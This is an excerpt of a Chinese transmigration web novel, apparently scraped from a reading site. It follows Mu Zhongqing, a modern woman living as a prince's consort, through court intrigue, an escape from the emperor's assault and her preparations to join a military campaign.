听到慕衷情的问题,秦澈脸上难得有些迷茫,他虽心系百姓,但他本身更重军事,还真是不了解这些东西。 “明日,我便替你请来有经验的农户。”言下之意便是这个问题得去问农户。 “行。”慕衷情也爽快,她站起身,拍了拍裙摆上的土,她系着襻膊,白皙的手臂上也沾了不少土,看起来一点儿也不像一个王妃该有的样子。 秦澈却饶有兴致地看着她,问道:“往常在闺中,衷情也常常研究这些吗?” 慕衷情拍裙子的手一顿,而后像没事人一般试探着说:“从前十六年,并未有过。” “可看衷情似乎很了解这些。” “王爷,您有过饿肚子的时候吗?大部分浪费粮食,作践粮食的人,都是因为没有饿过,没有亲自面对着一片土地,亲手将种子养成稻米。”慕衷情把锄头扛到肩上,像是什么都说了,又像是什么都没有回答,“我不想成为那样的人。” 秦澈一时无言,他觉得自己好像愈发看不懂眼前的人了。 慕衷情半是真心半是忽悠地说完便想溜之大吉,以免秦澈又问一些她答不上来的问题,谁知一向保持礼节的秦澈忽然拉住了她的手腕。 “衷情在闺中时,尝过饥饿滋味吗?”秦澈像是非要追问到一个满意的答案一般,手上的力道控制得恰到好处,既让慕衷情挣不开,又没有弄疼她。 慕衷情对上他探究又执拗的目光,挣扎两下便放弃抵抗,泄气道:“很小的时候,有过。” 她答的不是慕府二小姐慕衷情,而是她自己。 “不过我还算幸运,不是天天吃不上饭,只是吃得少,饿得快,逢年过节时妈……母亲会特意给我做肉菜,特别特别香。” 慕衷情说着说着,便低下了头,只可惜她的父母没能看到她考上公务员,没能等到她回到家乡。 秦澈缓缓松开手:“你说得对,未曾体会过饥饿,便不能真正明白民以食为天的意思。” 感受到手腕上的桎梏松开,慕衷情头也不回地往房间跑去,用没有拿着锄头的那只手抹去脸上的泪水。 她想念父母,想念家乡,想念和自己一起打拼一年没有离开的伙伴们。 秦澈望着慕衷情仓皇的背影,有些无措,慕衷情这是,哭了? 难道是自己刚刚吓到对方了? 秦澈站在原地反思许久,而后也迈步往房间走去。 然而他刚走到房门口,准备抬手敲门时,便听到屋内传来压抑着的抽泣声。< 8. 八、 《我靠种田改朝换代》全本免费阅读 当今皇后慕衷言,是慕衷情的姐姐。 她们虽不是一母同胞,但慕衷言的性情很像江灵月,十分温和柔顺,在府中时也从未为难过慕衷情。 但即使如此,慕衷情也是不愿去的,只是没有正当的理由拒绝。 也不知慕衷言为什么突然找她。 绕了好几个弯,就在慕衷情快要走懵的时候,终于来到皇后的寝殿。 见到慕衷言坐在高位之上,慕衷情与秦澈都行了礼。 “都起来吧,不必多礼。”慕衷言温声说道。 慕衷情起身抬眸,看向自己的这位姐姐,慕衷言的气质更加温婉典雅,她光是坐在那儿,便诠释了什么叫做大家闺秀。 “情儿新婚,我这做姐姐的还未亲口道一声祝贺,是我的不是。”慕衷言带着温柔的笑意,从宫女手中拿过一个妆匣,起身朝慕衷情走来,“我整日待在宫里,也送不出什么新鲜玩意儿,便给你挑了些首饰。” “多谢皇后。”慕衷情双手接过妆匣,递给身后的彩珠。 慕衷言便牵住慕衷情的手,对秦澈说道:“劳烦清王在此等候一阵,我与情儿许久未见,有些姐妹之间的体己话要说。” 秦澈面上看不出什么情绪,但也没有留人,自然地在一旁落座后,便见两姐妹走入内室之中。 他抿了一口茶,慕衷言从当今皇帝姜喧还是太子时,就已经与之成亲,两人夫妻多年,不过真心多少,但慕衷言和慕据德一样,都是站在姜喧一边的。 秦澈觉得可笑,她们如今在他面前毫不避讳地密谋,这到底是太看轻秦澈,还是太高估了慕衷情? 被慕衷言牵着的慕衷情心中也是在呐喊,她好不容易才和秦澈达成交易,如今慕衷言这么光明正大拉着她说悄悄话,这秦澈不怀疑她就有鬼了!这群人就算要搞权斗,能不能稍微隐秘一点点啊! 就她这个敏感的身份,才嫁进王府几天,怎么可能打探到什么东西? 慕衷情忍不住吐槽,难怪最后秦澈是赢家,原来对手都是猪对手。 “情儿,我听闻了大婚当日的事。”屏退宫人之后,慕衷言便蹙起眉头说道,“你如实告诉姐姐,你从前与清王,是否有情分?” 慕衷情短路了几秒,才想起来前几天两个人在大街上演戏的事情,她犹豫着反问:“若是我们之间有情分,会如何?” 慕衷言正色道:“情儿,你是慕家女儿,慕家从始至终支持的都是陛下,你怎么能对清王动情?” “其实我和他……”慕衷情刚想说出自己的真实想法,又忽然想起与清王的约定,连忙改口道,“其实我早就倾心于王爷,姐姐,我不愿帮着父亲对付王爷。” 慕衷言不可思议地看着自己从小乖巧的妹妹,质问道:“情儿,你怎能有如此想法?我们是慕家的女儿,便要为慕家考虑。” 慕衷情叹息,她本来就不想参与到这两方的明争暗斗中去,想来那天街上的事情传到慕家和皇帝的耳朵里,都对她的立场产生了怀疑,这才急哄哄地让慕衷言见她,问个清楚。 若是真,那她会被更早地舍弃,若是假,棋子就还能接着用,只是一颗被两方怀疑的棋子会有什么下场,就不是他们所担心的了。 说到底,不过是他们都太过轻视慕衷情,认为她是一个可以随时牺牲,哪怕落入敌人手中,也不可能掀起风浪的人罢了。 “姐姐,我是慕家女儿,可我更是慕衷情,我有权利选择我的人生。”慕衷情坚定地表达出自己的想法,哪怕这样的想法根本不可能为慕衷言所理解。 “情儿,你在说什么傻话?”慕衷言拉起慕衷情的双手,劝道,“清王知你是慕家人,不可能对你有一丝真心,若是你不与慕家站在一起,往后我们该如何保你?” 慕衷情抽出手:“姐姐,既然所有人都知道王爷不会对我有真心,那又为何要将我嫁给他?” 慕衷言张了张嘴,竟一时语塞。 这一步棋走得并不聪明,但因为牺牲的是一个无关紧要的女子,所以能赢最好,输了也无所谓。 不过是慕衷情丢一条命而已。 慕衷言看得清楚,却想不明白,她与姜喧也并非有多恩爱,但她好像从未想过,自己可以选择一个相爱的丈夫,过另一种生活。 慕衷情又说道:“姐姐,你是嫡女,如今又是皇后,可你的人生还是他人安排的,你可有想过自己想要什么?” 慕衷言苦涩一笑:“情儿,嫡庶并无分别,当我们生为慕家女儿时,就注定是这京城中一颗漂亮的棋子。” “不,姐姐,我不想做别人的棋子,我只想做慕衷情。”慕衷情丝毫没有动摇,坚定道,“我知道姐姐在这后宫中并不容易,这不是你的错,可是姐姐,我永远不可能接受这样的生活。” 慕衷言望着自己的妹妹,忽然觉得眼前的人如此陌生。 短短几年光景,一个人竟然可以变化如此之大吗? “情儿,若是真到了那天,我也是护不住你的。”慕衷言眼中含泪,无论如何,她是真心疼惜妹妹。 慕衷言笑着摇摇头:“姐姐,你连自己都护不住,自然是护不住我的,这世道,能求得别人护一时,可最终也只有自己能护自己一世。” 说完,慕衷情便毫无留恋地转身离开。 她没有想过要劝说慕衷言改变她根深蒂固的想法,因为慕衷言早已被规训得像一个完美的后位工具人。 当初她让村里的老人改变种植方法都那么难,更何谈改变一个三观早就被塑造好的古人呢? 慕衷情只能说自己的选择,若慕衷言听进去了最好,听不进去也没有办法。 没有人能拯救所有人。 回到前殿, 9. 九、 《我靠种田改朝换代》全本免费阅读 慕衷情极速转动脑子,看似文不对题地问道:“慕大人,你可知沉鱼落雁闭月羞花指的是谁?” “自然是指代貌美女子,古时有女子美貌惊人,水中鱼,天边雁,明月与鲜花见了都自愧不如,你问这做什么?”慕据德解答是解答了,但他一个解释的人比问问题的人还要疑惑。 慕衷情再次认知了这个世界的文化体系与自己的世界有所不同,哪怕有相同的词汇,也不是指代同一个人。 “记得我还在家中时,慕大人曾教导过我,女子美貌便是利器,往后我便要成为慕家的刀。”慕衷情凑过去,用只有两人能听见的音量说道,“如今这把刀想要挥向父亲大人,您心里滋味如何?” 不等慕据德有什么反应,慕衷情又立刻退回去,故作亲昵地挽住秦澈的手:“王爷,父亲大人说他想我了,改日王爷陪我回一趟慕府吧,前两日我身体不适,都未能回门,实在是不孝。” “没问题,明日便可。”秦澈答应得爽快,完全不顾慕据德黑如锅底的脸色。 慕府欢迎秦澈和慕衷情的前提是,慕衷情是慕府的人。 可如今,慕衷情明明白白地倒戈,这回门不仅无用,还给慕据德添堵。 左右秦澈在这京城也是休养,顺便安姜喧的心,平日里都是慕据德给他找事,能让慕据德不痛快的事儿,何乐而不为? 而且秦澈也想看看,慕衷情到了慕府之中,还会做些什么。 这几天里,无论慕衷情对他表多少次忠心,秦澈都无法做到完全放下芥蒂。 毕竟,他不过与之相识几日,一个人,真的这么容易改变吗? 周围的人目光都有意无意地瞥向三人说话的方向,众目睽睽之下,慕据德也不可能对秦澈有任何不敬,便憋着气行礼离开。 慕衷情挽着秦澈,跟着他到座位上坐下。 秦澈地位之高,光是从座位排布便能看出来,帝王之下,只有他。 异姓王并不只有秦澈一个,可又是异姓王,又有战神美誉之人,除了秦澈,再无他人。 来来往往的臣子互相寒暄过后,一道尖利的嗓音喊道:“皇上驾到——” 所有人立刻起身行礼,姜喧大步走来,颇有些意气风发的模样:“各位爱卿不必拘礼,都坐下吧。” 姜喧坐到至高之位,慕衷情偷偷抬眼打量他,姜喧也很年轻,与秦澈年龄相仿。 两人的反差也很大,若单看长相,姜喧比秦澈更粗犷,更像个行军打仗的。 而秦澈,大部分时候的气质都很温和,像一个书香世家出来的公子,只偶尔流露出见血封喉的煞气来。 姜喧身旁的太监开始宣读祝词,慕衷情一句也没有听进去,直勾勾地盯着桌上的几盘酥点,看起来又漂亮又好吃,实在是很想直接上手。 在宫里走了许久,慕衷情早就已经饿了。 好在那些祝词没有领导讲话的稿子长,好不容易等到宣布开席,慕衷情矜持地用筷子夹起自己早就盯上的荷花酥,然后一口一个。 乐舞不绝,可惜慕衷情没有心情欣赏,专心填饱肚子。 “慢些吃。”秦澈嘴上噙着笑意,“这宴席可长得很,现在吃饱了,之后可就无聊了。” 慕衷情刚往碗里放了块肉,听到秦澈的话,转过头看着他思索道:“有道理。” 说完,她还低头小声道:“这里手机都没有,吃完了都没得玩。” “王妃说什么?”秦澈微微凑过来些许,“太吵了,听不清。” “没什么。”慕衷情连忙摇头,岔开话题,“那这宴席,要等多久结束啊?” 秦澈轻叹一口气,明显他也不喜欢这种场合,觉得很是折磨:“按照往常来看,恐怕要两个时辰。” 两个时辰,就是四个小时。 慕衷情的眼睛都瞪大了,这是要她顶着这一身坐四个小时吗? 坐在上位的姜喧一直注意着秦澈和慕衷情的动作,见他们似乎在亲密地交谈,垂眸掩去眼中的戾气。 这场宴席的名目是春日赏花,吃过饭后,姜喧准所有人在春山笑园中赏花观月。 “大晚上的看花,这能看得清吗?”慕衷情跟着秦澈在园中漫无目的地散步,忍不住小声问道。 “这春山笑是他命人新建的园子,四角分别有风花雪月四阁,花阁外他特地让人费大力气种植了一片昙花,这月下美人,自然要月下看。”秦澈解释道,语气中却透出不满。 慕衷情似乎听出了什么:“这园子建了多久?” “两年。” “两年的时间,人力物力……”慕衷情喃喃自语道,“如果给我两年时间,销路肯定都已经打通了,农家乐旅游也能做起来了。” “什么?”秦澈听她声音越来越小,问道,“你今日好像总在走神。” “只是太无聊了,花是好看,可放在这里,又夺去了多少人的生机?”慕衷情扯扯自己的袖子和裙摆,“我是个俗人,现在只想种地。” 秦澈轻笑一声:“在府中时,便有这个爱好了吗?” 一听到“府中”两个字,慕衷情瞬间警觉起来,她转头看向秦澈,发现对方正看着前方的各种花卉,好像不是在试探的样子。 “是啊,只是那时没机会种,慕家要的是大家闺秀,是能有价值和人联姻的傀儡,不是我这样的俗人。”慕衷情自嘲地笑道,“王爷,我做不了别人的刀。” 秦澈微微低头:“衷情,有时候杀人,不一定要用刀。” 慕衷情不解,她觉得秦澈似乎话里有话。 然而还没来得及问出口,一位太监便毕恭毕敬地上前:“参见王爷,王妃,皇后娘娘请王妃过去一叙。” “只找我?”慕衷情茫然,她们不是才见过吗? “是,娘娘说是今日还有礼物忘了给王妃。” 慕衷情有些怀疑地看着对方,但一时找不出破绽,只好说道:“好,那你带我过去,请王爷等我一会儿。” 秦澈点点头,抬手在慕衷情肩上拍了拍:“去吧,早点回来。” 慕衷情又疑惑地看向秦澈,这人拍她干嘛?除了大 10. 十、 《我靠种田改朝换代》全本免费阅读 呼吸有些困难,但还不到完全窒息的态度。 慕衷情用力挣扎,她深知这是姜喧故意所为,就像是在玩弄一只猎物,看到对方无谓的挣扎,以满足自己的掌控欲。 姜喧得意又嘲弄地盯着慕衷情的神情,想从她的脸上找出一丝恐惧来。 可是没有。 慕衷情的眼中只有愤怒,没有恐惧。 她的手使劲掰着姜喧掐住自己的那只手,但两人都知道,以慕衷情现在的力气根本不可能抵抗姜喧。 就在姜喧愈发得意之时,慕衷情忽然飞起一脚,出其不意又狠又准地命中姜喧的最薄弱部位。 姜喧痛呼一声,一下子便松了手,慕衷情捂着脖子咳嗽两声,而后转身就向外跑。 从剧痛中回过神来,姜喧半跪在地上,大喊道:“来人,给我追!” 慕衷情一回头,就看到刚刚骗她过来的太监带着几个侍卫追了上来,她终于是憋不住来到这个陌生世界后一直压抑着的情绪,大骂道:“艹!你们是疯狗吧!姜喧他是什么品种的傻×你们不知道吗?这种恶心事儿都要帮他一起干,我艹你大爷的一群死变态!我诅咒你们!不孕不育儿孙满堂!” 骂了几句之后,慕衷情感觉有点喘,立刻就闭上了嘴,专心跑路。 人在危急时刻总能被激发出些许潜能,慕衷情凭着记忆和直觉按照来时路一路往春山笑园中跑去。 只是还未到达,身前便有人拦路,慕衷情观察四周,前后都有抓她的人,而两边一旁是假山,另一旁倒是能跑,但如果她现在绕进另一条路,很有可能迷路,怎么跑也不可能有这些成天在宫里当差的人熟悉宫内的情况。 看起来,慕衷情似乎只能束手就擒,她紧张得手里全是汗,捏着裙摆思索脱身的办法。 那名太监扶着膝盖原地喘了一会儿,而后一挥手道:“把人带回去,不要被人发现。” 慕衷情看到两个侍卫拔出刀朝自己走来,不由得后退一步,后背也立刻被刀抵住。 她闭了闭眼睛,再次睁开眼时没有了慌乱,而是冷静地问道:“姜喧要活的吗?” 那太监冷笑一声:“王妃,您要认清楚自己的身份,陛下现在是要活的,但就算是死了,又有什么关系?” 慕衷情趁着他说话期间,假意整理自己的仪容,往旁边悄悄挪了两步,笑道:“您说得对,看来我也只能乖乖听话了。” “王妃若是真听话,那是最好。”太监皮笑肉不笑地说道,依然盯着她的一举一动。 “等等,刚刚跑得太急,这边仪容去见陛下可不好,容我稍作整理。”慕衷情尽力拖延着时间。 都过去这么久了,无论彩珠是否明白自己的意思,有没有请秦澈来救自己,慕衷情都知道如今靠人来救是不现实的。 求人不如求己。 那太监自然能看出来慕衷情拖延的心思,完全没有给她机会:“把人给我绑了。” 自从来到这里后,慕衷情一直努力让自己的言行能够契合自己的身份,可这太难,也太累。 在乎太多东西的同时,也会失去许多。 她的手缓缓抬起,像是在抚摸自己身上那件坠着珠玉的华贵大袖衫。 慕衷情想,自己是真不适合穿这样的衣服,她甚至都没办法真正演好一个古代人。 说时迟那时快,侍卫逼近的那一刻,慕衷情反手将衣衫脱下,甩向面前的人,珠玉与刀刃相击,发出清脆的碰撞声,而后她转身用衣服包住另外两人的刀,两步跨到他们身后,抬腿随机选了一个人狠狠踹了一脚。 而后头也不回地往自己记得的路继续跑去。 她赌这几个人不会在还有办法控制她的时候直接下杀手,同时她也明白,如果这次再被追上,绝对不会再有这种机会逃脱。 因此,她几乎是发了疯地跑,比以前测八百米时还要努力。 慕衷情的鬓发已有些散乱,但她完全顾不上形象,也不敢回头看追兵。 现在的她只能祈祷,姜喧还有些基本的羞耻心,今天晚上的事情至少不会让太多人知道,否则这整个皇宫都是他的人,自己还真未必跑得了。 但如果是目前的状况,自己好歹还有一拼之力。 终于,她听到了些许谈笑的人声,头一次觉得这宴会还有点用处。 甚至对于她真的没有记错路成功跑回来这件事,慕衷情都觉得幸运到不可思议,人的潜力还真是可怕。 就在她准备提一口气直接跑回春山笑时,手腕上忽然传来一阵大力。 慕衷情完全没有来得及反应,就被拽进了一个人的怀抱。 她下意识地想要推开对方,耳边却传来熟悉的声音:“别动,装晕。” 是秦澈。 慕衷情下意识地抓紧了他的衣服,直到听到身后那群人的脚步声,才配合地装作晕倒在他怀里。 秦澈直接脱下外衣披在慕衷情的身上,而后 11. 十一、 《我靠种田改朝换代》全本免费阅读 秦澈的语气依旧温和,神情却十分淡漠。 “我的确想看看,你能跑到哪里。” “但如果你选择了顺从,我不会帮你,我们的约定也就此终止。” “我不会相信这样一个懦弱的人,能做到你承诺过的事情。” 慕衷情看着他的眼睛,确认他没有说谎。 这个答案反而让她松了一口气,秦澈的确没有那么好心,但他目前所保持的警惕和冷漠,还在慕衷情理解的范围内。 “最后一个问题,如果我反抗了,却没能跑出那扇门,你会救我吗?” 秦澈沉默许久,不知道是不想承认,还是在思索是否要说谎。 “会。” 慕衷情靠在马车上,露出一个浅浅的笑容:“我相信你。” 他们的权力、地位差距如此之大,秦澈没必要在这种事情上骗她。 慕衷情放松下来,秦澈却突然问道:“王妃问完了,本王也还有问题想问问王妃。” “什么?” “死变态,是什么意思?” 慕衷情的笑容一僵,她抬眼对上秦澈真诚求答案的目光,突然觉得如坐针毡,如鲠在喉。 “这就是我随口胡诌的,骂人的话,不太优雅,王爷还是不要听了,免得脏了您的耳朵。”慕衷情心虚地将鬓边掉下来的碎发别到耳后,默默地躲开秦澈求知的视线。 “好,那就不问了。”秦澈看她的反应,就知道这个词肯定是个很难听的骂人话,但他又十分好奇,这个词是她自己创造的,还是从哪儿学来的? 除了最初的调查,在他们成亲之后,秦澈发现他对于慕衷情的一切不解,都找不到答案。 这也让他无法控制地怀疑慕衷情的身份,来历,甚至在一开始,他还猜测过慕府是不是用什么人替代慕衷情嫁过来。 但同样的,这个猜测也和其他怀疑一样,找不到证据和答案。 可是越怀疑,秦澈也越期待,毕竟,一个只剩下乖巧温顺的闺秀,又怎么可能和他定下这样的约定并完成? “对了王爷,彩珠呢?”慕衷情问道。 “放心,她没事,被人打晕了,我已经让人把她带回王府了。” 回到王府后,早已等在房间里的彩珠心有余悸地和慕衷情说了自己的经历,听到慕衷情之后的经历,也忍不住拍拍胸口感叹道:“看来王爷还是心疼小姐的。” 慕衷情摘下耳环,既不反驳也不承认:“你从哪儿看出来的?” “若是王爷不关心小姐,怎么会时刻关注小姐的情况,还在最后关头救下小姐呢?”彩珠利落地替慕衷情解开发髻,散下一头青丝。 “彩珠啊彩珠,看来日后你的终身大事,还是得靠我来把关。”慕衷情话虽带着笑意,却能听出来并不认同彩珠的看法。 彩珠不解:“小姐这是什么意思?” 慕衷情沉默一会儿道:“彩珠啊,待会儿王爷回来,你可不能再叫我小姐了,我在这里,不是我自己,也不是你的小姐,而是清王妃。” 彩珠应声,却还是有些不太明白慕衷情的话。 秦澈回房时,慕衷情已经褪去一身华贵的装饰,正盘腿坐在榻上想事儿。 他关上门窗,坐到桌边问道:“衷情在想什么?今日事多疲乏,为何不去休息?” 慕衷情有些迟钝地把目光移到秦澈身上:“王爷,明日可否陪我回一趟慕府?” “回去做什么?虽说女儿出嫁三日回门,可我们的事情早就闹得人尽皆知,你便是不回门,也能编出许多个让人挑不出错的理由来。”秦澈虽然觉得慕衷情身上有许多谜题,但他至少了解慕府对她并不好。 “主要是想和母亲,还有姨娘说一说话。”慕衷情回来后,思考了许多,无论目前遇到了多少意料之外的事情,但她无比肯定,姜喧这个狗皇帝,当不了多久,就算秦澈犹豫,她也一定要多吹枕边风,让他直接改朝换代。 否则,还不知姜喧能做出多少荒唐事来。 只是到那时,慕据德也就罢了,江灵月和杨扇却是从小对她不错,如果可以的话,她想为这两个身不由已的深宅女人,做些什么。 “仅是说话?”秦澈可不信。 慕衷情叹气,从榻上下来,走到秦澈面前:“王爷,我的嫁妆可是收在府中库房?我想拿回去一些,给我母亲和姨娘。” 秦澈伸手让她坐下:“嫁妆本来就是你的东西,随你支取,但慕府根基深厚,你又为何要用自己的嫁妆去补贴?” 慕衷情顺势坐下,一手托着下巴,烛火照在她的脸上:“王爷,世道易变,好歹母亲和姨娘对我不错,我只希望以后,哪怕慕家出了 12. 十二、 《我靠种田改朝换代》全本免费阅读 慕衷情看着秦澈立刻起身,迅速穿好衣服,出门前还回头看了她一眼。 慕衷情朝他点点头,秦澈微微扬起嘴角,也朝她点头,而后关上房门,对手下的人吩咐道:“备马。” 脚步声渐渐远去,慕衷情还坐在床边,能在大晚上就把秦澈叫进宫商讨的,肯定不是什么小乱子,不出意外的话,秦澈肯定需要带兵去平乱。 这意味着,秦澈离京的时间会比他们之前所预料的大大提前。 慕衷情几乎不用思索,就下定决心,只要秦澈离京,无论去哪儿她都必须跟着去。 否则民乱平定后,慕据德说不准就要过来给她一条白绫了。 这么想着,慕衷情起身走到门口:“来人,给我备纸笔。” 慕衷情依然写不了多好看的毛笔字,但秦澈出门前的那一眼是在告诉她,明日怕是去不了慕府。 就算明日还在京城,各种准备事宜也足够让秦澈忙得抽不开身,若是事态紧急到一定程度,怕是明日就要离京。 所以慕衷情没有时间去找江灵月和杨扇了,只能将自己想对她们说的话都写下来,让人转交。 她洋洋洒洒地写了好几张纸,搁笔时,天色已经微亮。 秦澈还没有回来。 慕衷情深吸一口气,她在府中最信任的就是彩珠,但彩珠也未曾读书识字,于是她叫来了芸儿。 反正秦澈对她的一举一动了如指掌,她也没必要遮遮掩掩。 “芸儿,你可会写字?”慕衷情问道,“或者府中有没有字写得漂亮的人?” “秉王妃,奴婢会写字。”芸儿答道。 “你不用紧张,我写了一封信,你帮我誊抄下来,遇到看不懂的字就问我,来吧坐下。”慕衷情说着,起身给芸儿让位。 芸儿却站在原地没有动作,颇为紧张地说:“王妃,芸儿只是一个奴才,怎能为您代笔?王妃所写的信,奴婢更是万万不敢窥探一眼。” 在芸儿看来,慕衷情是慕府的二小姐,纵然不受宠,但至少知书识礼,不可能连一封信都写不好,这摆明了就是试探她。 若是她轻易动笔,也不知会治她个什么罪,如今王爷没有回来,王妃想要磋磨她恐怕也不是难事。 慕衷情倒是没有想得那么复杂,只当芸儿担心僭越,解释道:“我只是字写得太难看,不得不找人帮忙誊写一份而已,不要多想。” 慕衷情伸手将她的下巴抬起来,又拍拍她习惯性弯下去的背脊:“我早就说过了,无人时不必如此拘谨。” 芸儿仍旧半信半疑,只是不好再推脱,便咬牙答应下来。 慕衷情见她一副壮士断腕般的神情,也觉得稀奇,写封信而已,有必要这样视死如归吗? 不过,在看到慕衷情写的字时,芸儿的表情还是没有绷住,这些字涂涂改改,歪歪扭扭,一眼扫过去,得有一半是认不得的。 见她震惊的神情,慕衷情也有些不好意思,她的字本来就说不上多好看,这下换了毛笔字,更是不顺手,要不然她想要读书练字干嘛? 而且古代的字肯定与她所学有许多不同,就算她练好了字,看不懂这里的字也不行。 现在时间紧急,除了找人代笔毫无办法。 “写吧。”慕衷情轻咳一声说道。 芸儿拿起笔,压下心中的不解和怀疑,开始按照慕衷情所写的内容誊抄起来。 母亲、杨姨娘: 女儿在王府一切都好,王爷心善,待我也很好,只是京中形势复杂多变,女儿无法时常回家探望,还望母亲和姨娘都能事事以自己为先,切莫如从前那般 13. 十三、 《我靠种田改朝换代》全本免费阅读 秦澈没有立刻答应。 他拿起桌上的信,快速看了一遍。 又打开那个首饰盒,那里头是一些金银器物,以及钱庄的存票。 慕衷情解释道:“这是成亲之前,母亲私下给我的,我不过是想还给她。” 秦澈挥手屏退屋子里的其他人,坐下道:“你可知这封信她们看到之后,会作何反应?” “我不知道。”慕衷情十分诚实地回答,“我的想法对于她们来说或许有些惊世骇俗了,她们与慕据德也并非全然无情,但我只是告知,并不会强迫她们做什么选择。” “所以,这不仅是一封劝说的信,其实你也是在与她们做一个了断,对吗?” 慕衷情点头。 秦澈沉吟道:“我敬佩你的想法,可如今的你,又能凭借什么,去争?” “我是没打算走到终局的。”慕衷情笑得轻松,“只要能走在自己选择的路上,何时倒下对我来说并不重要,所以王爷,我所能凭借的,就是我自己,当然不可否认,此时此刻,我还需要王爷的帮助。” “你,你的确胆大。”秦澈这般说着,望向慕衷情的目光却透着复杂,他好像一直都没有明白过慕衷情的想法,从他们的第一面开始,慕衷情所言所行,总是出乎他的意料。 甚至,秦澈有种直觉,这还是慕衷情精挑细选过,可以说给他听,做给他看的部分。 “所以王爷,我想去丰州,目前只有留在王爷身边,我才能有更大的几率,活下来。”慕衷情依然带着笑,但她的语气不容置喙,仿佛不是请求,而是在通知。 秦澈也不是个优柔寡断的人,只思索几秒便道:“这些东西,我会派人帮你送过去,保证只有她们两人能看到信的内容,至于去丰州,此行是去平乱,随军出行的苦头,你可熬得住?” “我认为我是可以的。”慕衷情自信满满,在田里待过那么久的她,至少是不怕脏不怕累的,至于其他没想到的,也只能走一步看一步了。 秦澈道:“好,今日你收拾好行囊,明日随军出发,本王丑话说在前头,军中不比府中,去了便没有回头路。” “放心,我不会后悔的,不过彩珠能跟着一起去吗?”慕衷情思考道,“还有,我不会骑马,今天能学会吗?” “彩珠需留在府中,军中一向不许女子进入,哪怕所有人都知道你是谁,你也须着男装,至于骑马,之前为你找的先生都找好了,只是丰州之乱来得急,未曾向你引荐,午后,你便先学骑马。”秦澈说着,起身准备离开,“本王还需筹备平乱之事,你先收拾行囊。” 秦澈走后,慕衷情叫来彩珠与她一起收拾行囊,一听慕衷情要随军离开,而自己却要留下,彩珠一脸的担心。 “小姐,你也留在府中不好吗?万一在军中受苦受欺负可怎么办呀?” 慕衷情轻声叹气,她没办法和彩珠说自己的来历,自然也无法告知她自己真正担忧的事情,这王府对她来说,还真未必安全。 毕竟如今的秦澈,还没有真正认为她是一个重要的,有用的人,自然不会时刻护她周全。 京中风云诡谲,她对于那些弯弯绕绕的权谋实在没有兴趣,也没有脑子去应对,以前的工作能讲道理,可在这样一个朝代,轮不到她讲道理。 拼一把,才有希望。 “彩珠,我的那两块小菜园就交给你打理了。”慕衷情回答不了,就转移话题,“对了,月事带和草木灰替我多准备一些,这东西也轻便,首饰就不必带了,带几块佩玉以及银钱就行,衣服也都要带轻便的男装。” 其他都好说,男装却让彩珠犯了愁,谁家姑娘嫁人还会特意带男装啊? “小姐,这儿没有男装,明日出发的话,来不及定做,得出去买。”彩珠提议道。 “好,那你出去买,这里我来收拾,你多带些银两,男装至少买三,不,买五套用来换洗差不多。”慕衷情将银钱塞到彩珠手中,说道。 彩珠也知道时间着急,只能提着裙摆立刻去办事。 不到午时,彩珠便采购回来,她最了解慕衷情的身形,买的衣服都是合身的,只是男装的尺码、款式能挑的不多,只能为了合身舍弃好看,颜色也都是偏深偏土咖的,无一亮色,材质也都是棉麻,没有绸缎。 但这正好合慕衷情的心意,随军出行又不是旅游,实用耐磨最重要。 将男装整理好,又带上几条襻膊方便干活,慕衷情点了点衣物和银钱,仔细想想没有落下的东西之后,才坐下来休息一会儿。 还剩下半天,慕衷情想要学会骑马,还不能受伤,着实有点难度,但现在也只能硬着头皮上。 慕衷情一下午都没有见到过秦澈,她穿上男装,跟着秦澈请来的人去郊外学骑马,直到傍晚才回来。 用晚膳时,慕衷情也没有见到秦澈,但她已经无心去关注秦澈的动向了,学了一下午骑马,学倒是学会了,就是两条腿感觉快废了,走路都打颤。 也正是因为这,让慕衷情想起来,出门在外,跌打损伤药可不能少,连忙又让彩珠准备了些外伤和风寒药,以备不时之需。 躺到床上时,慕衷情身体很疲惫,大脑却还在一刻不停地思考着自己是否有遗漏的东西,这样的状态让她忍不住回想到从前工作的时候,每天也是这样,总害怕自己忘了什么。 她翻了个身,强迫自己的脑袋清静下来,快点进入睡眠,养精蓄锐。 可越是想睡,越是睡不着。 慕衷情也不知道自己在床上辗转反侧多久,便听到“吱呀”一声,房门被打开,而后又轻轻地合上。 声音并不重,如果她已经睡着了,大概是不会被吵醒的,可惜,她还没有睡着。 她坐起身,问道:“王爷回来了?” 秦澈的脚步一顿:“王妃还未休息?” “睡不着,毕竟是第一次随军出行,有些紧张。”慕衷情轻笑着坦诚说道。 “不必紧张,本王不会将你随意丢下,只是在外不可言明你是王妃,本王已与蒋大夫说好,从明日起你的身份便是他的徒弟,他在军中地位不低,当初也曾救过我的命。”秦澈站在她的床前说道。 慕衷情微微抬头,一帘之隔,她分明看不到秦澈,却又好像知道他就站在那儿。 “王爷费心了。”慕衷情一时不知说些什么,便问道,“就是不知道丰州的情况如何。” “说是民乱,实则就是造反,只是这群造反的人,无权无势,都是些日子过不下去的人。”秦澈沉默一会儿又说,“丰州,本该是一处丰茂富饶之地,却逼得民反,而我却要亲手将他们绞杀,你说像我这般满手血腥之 14. 十四、 《我靠种田改朝换代》全本免费阅读 篝火噼里啪啦地烧着,给冷清的夜带来些许暖意。 慕衷情才刚学会骑马,就长途奔袭了一天,完全是靠毅力撑到晚上安营扎寨,草草吃了些干粮垫肚子后,她把行李往帐中一放,刚想休息一会儿,蒋羽背着他的药箱走了进来。 “等等!” 一嗓子把慕衷情吓得立刻弹了起来。 “蒋……师父,怎么了?一惊一乍的。”慕衷情不明所以地问。 慕衷情一开始还以为蒋羽是个小老头,结果也就二十出头,活泼得很。 蒋羽进了营帐后,小声道:“您可是王妃,这这这男女授受不亲,您怎么能和我住一块儿呢,我还想多活几年呢。” 慕衷情看着蒋羽真诚的眼神,颇为无奈:“可是目前我的身份就是蒋大夫您的徒弟啊,如果到主将营中过夜,是不是太引人注目了点?” 蒋羽绕着慕衷情,上上下下打量了一遍:“王妃,斗胆说句实话,咱都是常年在男人堆里混的,您就算脸上再抹点泥,往我跟前一站,我也能看出来你是男是女。” 慕衷情震惊:“真的有这么明显吗?” 蒋羽大喇喇把药箱放下,坐到榻上:“自然,无论是身量,面容,姿态,女子与男子总是有所不同的,如今王妃没被其他人认出,无非大家并不熟悉,没有注意到,可时间一长,总有人会发现端倪,若是到那时王妃才搬离我的营帐,可就跳进黄河也洗不清了。” “黄河?你们这儿也有黄河?”显然慕衷情的重点和蒋羽完全不同。 蒋羽奇怪地看向慕衷情:“你不知道黄河吗?此去丰州,不就有黄河流经?” 